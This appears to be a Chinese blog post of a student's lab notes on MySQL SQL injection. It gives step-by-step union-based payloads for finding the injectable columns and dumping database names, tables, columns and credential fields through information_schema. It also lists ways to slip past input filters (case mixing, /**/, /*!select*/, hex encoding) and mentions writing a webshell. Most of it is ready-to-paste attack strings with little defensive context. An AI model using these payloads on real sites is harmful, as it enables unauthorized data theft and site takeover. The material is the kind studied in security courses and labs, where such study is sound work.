小编前言:最近一直在准备全国大学生电子设计大赛,对于安全的学习有点懈怠,但是,伴随着1000个安全实验的到来,我的内心重新燃起一团小小期待,这边的项目进行一个阶段,加班把实验一个总结一下,今天就从SQL注入开始喽!结合实验课件总结和实验总结而写!
1、SQL注入方法:
爆破、盲注、报错,在权限足够的情况下,在权限足够的情况下,可以通过SQL语句插入并导出我们的一句话webshell。
(注意:因为MySQL版本小于4.0时,是不支持union select联合查询的;当SQL版本大于5.0时,有个默认数据库information_schema,存放着所有数据库的信息,比如:表明,列名,对应权限等,通过这个数据库就可以跨库查询,爆破列表。)
2、SQL思路:
步骤一:单引号 and 1=1 and 1=2
步骤二:order by 和union select
(通过order by 查出字段N,然后联合查询。and 1=2 union select 1,2,3,4...N --
首先 and 1=2报错,用单引号或者在参数后面加个‘--’,表示注释后面语句,可以换成“/*”)
步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4...,N--
几个常用函数:
① version()——MySQL版本
② user()——用户名
③ database()——数据库名
④ @@datadir——数据库路径
⑥ @@version_compile_os——操作系统版本
几个很有用的函数:
① concat(str1,str2,...)——没有分隔符地连接字符串
② concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
③ group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
这三个函数能一次查询所有信息比如:
concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os )
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_com pile_os)
0x3a是":"的十六进制,在这里把它作为分隔符,没有它,查出来的东西就连成一片了,在实际查的时候,有些时候可能会出错,比如@@verion_compile_os这个函数就经常出错,去掉就是了,对于MySQL函数可以百度,或查看MySQL官方手册http://dev.mysql.com/doc/
步骤四:爆表爆列爆用户名密码
爆的方法有很多,我就说说我知道的几种吧,从最“温和的”到最“野蛮的”。
第一种:查表查列
① and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1--
② and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1--
③ and 1=2 union select 1,2,列名,4 from 表名
这里改变N的值,查出一个个表名、列名
第二种:高级查表查列
①and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
②and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
③and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1
有个提速技巧,要查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
找敏感的表,含有admin、manage或user之类的
第三种:爆表爆列
① and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
② and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
③ and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
④ and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
distinct表示不同,也就是去掉爆出内容的重复部分,不加也可以,我习惯加上这个方法好就好在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找
第四种:高级爆表爆列
① and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
② and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
③ and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
④ and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库的介绍(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里table_schema、table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度
① 当union select 1,2,3,4没有出现数字位时,可以尝试把数字都换成null,然后逐个尝试替换成数字或字符或直接换成version(),找到可以显示出来的那一位。这个貌似是因为对应变量类型不同的原因。
② 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错),爆不出来的时候,可以尝试通过hex()或convert()等函数来解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等
③ 在注入的时候,可以把空格换成"+"或者"/**/",这都是等价的,因为空格会被自动转成"%20"。
④ 另外,在遇到网站有过滤的时候,可以考虑下大小写变换绕过。所以经常看到大牛们的注入语句是稀奇古怪、变幻莫测。。最近又看到一个变态的绕过方法,/*!select*/,把容易被过滤的东西放到/*!XXX*/中,一样可以正常查询,也就是/*!select*/=select。如果你还不放心那就这样/*!sEleCt*/。